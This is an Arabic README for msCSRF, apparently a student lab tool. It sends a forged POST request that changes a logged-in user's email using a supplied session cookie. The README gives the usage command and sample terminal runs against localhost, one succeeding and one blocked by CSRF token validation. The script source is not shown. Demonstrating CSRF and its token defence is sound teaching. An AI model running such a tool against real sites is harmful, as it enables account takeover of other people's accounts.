

msCSRF

أداة msCSRF هي أداة هجومية تقوم باستغلال ثغرة CSRF للموقع المستهدف وهي تقوم بإرسال طلب مزور لتحديث البريد الإلكتروني ل أي حساب بعد معرفت الكوكيز الخاص ل أي مستخدم قام بتسجيل الدخول بالموقع

كيف تعمل الأداة:

ستحتاج لتوفير الكوكيز الخاصة بالمستخدم المسجل الدخول ليتمكن السكربت من إرسال الطلب وتجاوز الحماية الأساسية التي تعتمد على الجلسة

- شرح توضيحي لتشغيل الأداة:

```
python msCSRF.py http://localhost "new_email@example.com" session_cookie_here
```

رابط الموقع المستهدف: <http://localhost>

البريد الإلكتروني الجديد الذي سيتم تعيينه: "new_email@example.com"

قيمة الكوكيز الخاصة بجلسة المستخدم المسجل دخوله: session_cookie_here

شرح الأداة

١. الكوكيز: الأداة تأخذ الكوكيز الخاصة بالمستخدم من سطر للتجاوز حماية الجلسة
٢. إرسال طلب: POST يتم إرسال الطلب إلى الموقع باستخدام قيمة new_email لتحديث البريد الإلكتروني
٣. النتيجة: إذا كان الاستغلال ناجحًا، ستظهر رسالة تأكيد
٤. و إذا كان الاستغلال فاشل ستظهر رسالة تم منع الوصول

صورة توضيحية لاستغلال ناجح على أداة msCSRF

```
(kali@kali)~[~/Desktop]
$ python msCSRF.py http://localhost/update_email.php "aultan@gmail.com" j32ag9mdem4komhtu5thjr4usp

MEEDS

msCSRF - CSRF Exploit Tool
Version 1.0 - Educational Use Only

By: SULTAN ALHARBI AND MUHAMD ALANIZE

Exploit executed successfully!
Response: <p>Email updated successfully to: aultan@gmail.com</p>
```

صورة توضيحية لاستغلال فاشل على أداة msCSRF

```
(kali@kali)~[~/Desktop]
$ python msCSRF.py http://localhost/update_email_fix.php "test@gmail.com" 38ve16jm8n6p28h4duscqj0anp

MEEDS

msCSRF - CSRF Exploit Tool
Version 1.0 - Educational Use Only

By: SULTAN ALHARBI AND MUHAMD ALANIZE

Exploit executed successfully!
Response: CSRF token validation failed.
```

رابط للمقطع لعمل الأداة واستغلال الثغرة:

https://drive.google.com/file/d/15OZAjrofEOAt7c8nPGDG_R7L5rsY-uX/view?usp=drive_link